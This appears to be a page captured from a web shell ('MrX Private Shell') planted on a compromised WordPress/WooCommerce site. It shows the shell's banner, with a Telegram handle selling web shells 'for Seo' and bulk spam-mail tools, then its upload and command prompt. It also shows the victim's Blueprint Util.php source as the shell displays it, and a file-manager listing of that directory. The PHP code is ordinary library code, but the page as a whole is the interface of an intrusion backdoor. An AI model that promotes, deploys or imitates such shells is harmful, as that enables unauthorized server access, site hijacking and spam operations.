__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Automattic\WooCommerce\Blueprint;

use RecursiveArrayIterator;
use RecursiveIteratorIterator;

/**
 * Utility functions.
 */
class Util {
	/**
	 * Ensure that the given path is a valid path within the WP_CONTENT_DIR.
	 *
	 * @param string $path The path to be validated.
	 *
	 * @return string
	 * @throws \InvalidArgumentException If the path is invalid.
	 */
	public static function ensure_wp_content_path( $path ) {
		$path = realpath( $path );
		if ( false === $path || strpos( $path, WP_CONTENT_DIR ) !== 0 ) {
			throw new \InvalidArgumentException( "Invalid path: $path" );
		}

		return $path;
	}

	/**
	 * Convert an array to an insert SQL query.
	 *
	 * @param array  $row Array row with key and value.
	 * @param string $table Name of the table.
	 * @param string $type One of insert, insert ignore, replace into.
	 *
	 * @return false|string
	 */
	public static function array_to_insert_sql( $row, $table, $type = 'insert ignore' ) {
		if ( empty( $row ) || ! is_array( $row ) ) {
			return false; // Return false if input data is empty or not an array.
		}

		$allowed_types = array( 'insert', 'insert ignore', 'replace into' );
		if ( ! in_array( $type, $allowed_types, true ) ) {
			return false; // Return false if input type is not valid.
		}

		// Get column names and values.
		$columns        = '`' . implode( '`, `', array_keys( $row ) ) . '`';
		$escaped_values = array_map( fn( $value ) => "'" . addslashes( $value ) . "'", $row );
		$values         = implode( ', ', $escaped_values );
		// Construct final SQL query.
		return "{$type} `$table` ($columns) VALUES ($values);";
	}

	/**
	 * Convert a string from snake_case to camelCase.
	 *
	 * @param string $string_to_convert The string to be converted.
	 *
	 * @return string
	 */
	public static function snake_to_camel( $string_to_convert ) {
		// Split the string by underscores.
		$words = explode( '_', $string_to_convert );

		// Capitalize the first letter of each word.
		$words = array_map( 'ucfirst', $words );

		// Join the words back together.
		return implode( '', $words );
	}

	/**
	 * Flatten an array.
	 *
	 * @param array $array_to_flatten The array to be flattened.
	 *
	 * @return \RecursiveIteratorIterator
	 */
	public static function array_flatten( $array_to_flatten ) {
		return new RecursiveIteratorIterator( new RecursiveArrayIterator( $array_to_flatten ) );
	}

	/**
	 * Convert a string from camelCase to snake_case.
	 *
	 * @param string $input The string to be converted.
	 *
	 * @return string
	 */
	public static function camel_to_snake( $input ) {
		// Replace all uppercase letters with an underscore followed by the lowercase version of the letter.
		$pattern     = '/([a-z])([A-Z])/';
		$replacement = '$1_$2';
		$snake       = preg_replace( $pattern, $replacement, $input );

		// Replace spaces with underscores.
		$snake = str_replace( ' ', '_', $snake );

		// Convert the entire string to lowercase.
		return strtolower( $snake );
	}


	/**
	 * Index an array using a callback function.
	 *
	 * @param array    $array The array to be indexed.
	 * @param callable $callback The callback function to be called for each element.
	 *
	 * @return array
	 */
	// phpcs:ignore
	public static function index_array( $array, $callback ) {
		$result = array();
		foreach ( $array as $key => $value ) {
			$new_key            = $callback( $key, $value );
			$result[ $new_key ] = $value;
		}
		return $result;
	}

	/**
	 * Check to see if given string is a valid WordPress plugin slug.
	 *
	 * @param string $slug The slug to be validated.
	 *
	 * @return bool
	 */
	public static function is_valid_wp_plugin_slug( $slug ) {
		// Check if the slug only contains allowed characters.
		if ( preg_match( '/^[a-z0-9-]+$/', $slug ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Recursively delete a directory.
	 *
	 * @param string $dir_path The path to the directory.
	 *
	 * @return void
	 * @throws \InvalidArgumentException If $dir_path is not a directory.
	 */
	public static function delete_dir( $dir_path ) {
		if ( ! is_dir( $dir_path ) ) {
			throw new \InvalidArgumentException( "$dir_path must be a directory" );
		}
		if ( substr( $dir_path, strlen( $dir_path ) - 1, 1 ) !== '/' ) {
			$dir_path .= '/';
		}
		$files = glob( $dir_path . '*', GLOB_MARK );
		foreach ( $files as $file ) {
			if ( is_dir( $file ) ) {
				static::delete_dir( $file );
			} else {
				// phpcs:ignore
				unlink( $file );
			}
		}
		// phpcs:ignore
		rmdir( $dir_path );
	}
}

Filemanager

Name Type Size Permission Actions
Cli Folder 0775
Exporters Folder 0775
Importers Folder 0775
ResourceStorages Folder 0775
ResultFormatters Folder 0775
Schemas Folder 0775
Steps Folder 0775
docs Folder 0775
BuiltInExporters.php File 474 B 0664
BuiltInStepProcessors.php File 1.81 KB 0664
ClassExtractor.php File 6.05 KB 0664
Cli.php File 1.78 KB 0664
ExportSchema.php File 4.3 KB 0664
ImportSchema.php File 2.34 KB 0664
ImportStep.php File 4.46 KB 0664
Logger.php File 4.07 KB 0664
ResourceStorages.php File 1.45 KB 0664
StepProcessor.php File 680 B 0664
StepProcessorResult.php File 3.56 KB 0664
UsePluginHelpers.php File 3.13 KB 0664
UsePubSub.php File 1.51 KB 0664
UseWPFunctions.php File 9.72 KB 0664
Util.php File 4.39 KB 0664
Filemanager